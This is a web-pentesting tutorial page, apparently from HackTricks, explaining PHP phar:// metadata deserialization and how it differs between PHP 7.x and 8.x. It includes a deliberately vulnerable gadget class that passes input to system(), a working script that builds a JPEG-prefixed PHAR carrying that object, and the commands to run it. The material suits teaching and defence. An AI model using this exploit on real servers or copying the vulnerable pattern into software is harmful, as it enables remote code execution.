phar-deserialization.md (3081B)
1 --- 2 title: "phar:// Deserialization" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/file-inclusion/phar-deserialization.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/phar-deserialization.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # `phar://` Deserialization 14 15 PHAR (PHP Archive) files can store serialized PHP values as archive metadata. Before PHP 8.0, opening a PHAR through the stream wrapper could automatically deserialize that metadata; starting with PHP 8.0, metadata deserialization is deferred until `Phar::getMetadata()` is called.<sup>[[1]](#references)</sup> 16 17 Consequently, the classic `phar://` object-injection technique applies primarily to PHP 7.x and older applications that pass attacker-controlled paths to filesystem functions such as `file_exists()`, `filesize()`, or `file_get_contents()`. On PHP 8.x, look instead for explicit calls to `Phar::getMetadata()` on an untrusted archive; PHP warns that doing so can execute code through object deserialization.<sup>[[1]](#references)[[2]](#references)</sup> 18 19 Exploitation also requires a usable gadget class in the application. The following deliberately vulnerable example has a destructor that executes the value stored in `$data`:<sup>[[3]](#references)</sup> 20 21 ```php 22 <?php 23 class AnyClass { 24 public $data = null; 25 public function __construct($data) { 26 $this->data = $data; 27 } 28 29 function __destruct() { 30 system($this->data); 31 } 32 } 33 34 filesize("phar://test.phar"); // Attacker-controlled path on affected PHP versions 35 ``` 36 37 The following script creates a PHAR whose metadata contains that object: 38 39 ```php 40 <?php 41 42 class AnyClass { 43 public $data = null; 44 public function __construct($data) { 45 $this->data = $data; 46 } 47 48 function __destruct() { 49 system($this->data); 50 } 51 } 52 53 // Create a new PHAR. 54 $phar = new Phar('test.phar'); 55 $phar->startBuffering(); 56 $phar->addFromString('test.txt', 'text'); 57 $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>"); 58 59 // Store the gadget object as metadata. 60 $object = new AnyClass('whoami'); 61 $phar->setMetadata($object); 62 $phar->stopBuffering(); 63 ``` 64 65 The stub starts with JPEG signature bytes. This may evade a simplistic signature check, but it does not make the archive a fully valid image and will not bypass robust server-side validation.<sup>[[3]](#references)</sup> 66 67 Create `test.phar` with: 68 69 ```bash 70 php --define phar.readonly=0 create_phar.php 71 ``` 72 73 On an affected PHP version, invoking the vulnerable code causes the metadata object to be reconstructed and its destructor to run: 74 75 ```bash 76 php vuln.php 77 ``` 78 79 ## References 80 81 - [1] [PHP manual - Phar class and PHP 8 metadata-deserialization change](https://www.php.net/manual/en/class.phar.php) 82 - [2] [PHP manual - Phar::getMetadata](https://www.php.net/manual/en/phar.getmetadata.php) 83 - [3] [RIPS Technologies - PHP object injection via `phar://` metadata](https://blog.ripstech.com/2018/new-php-exploitation-technique/)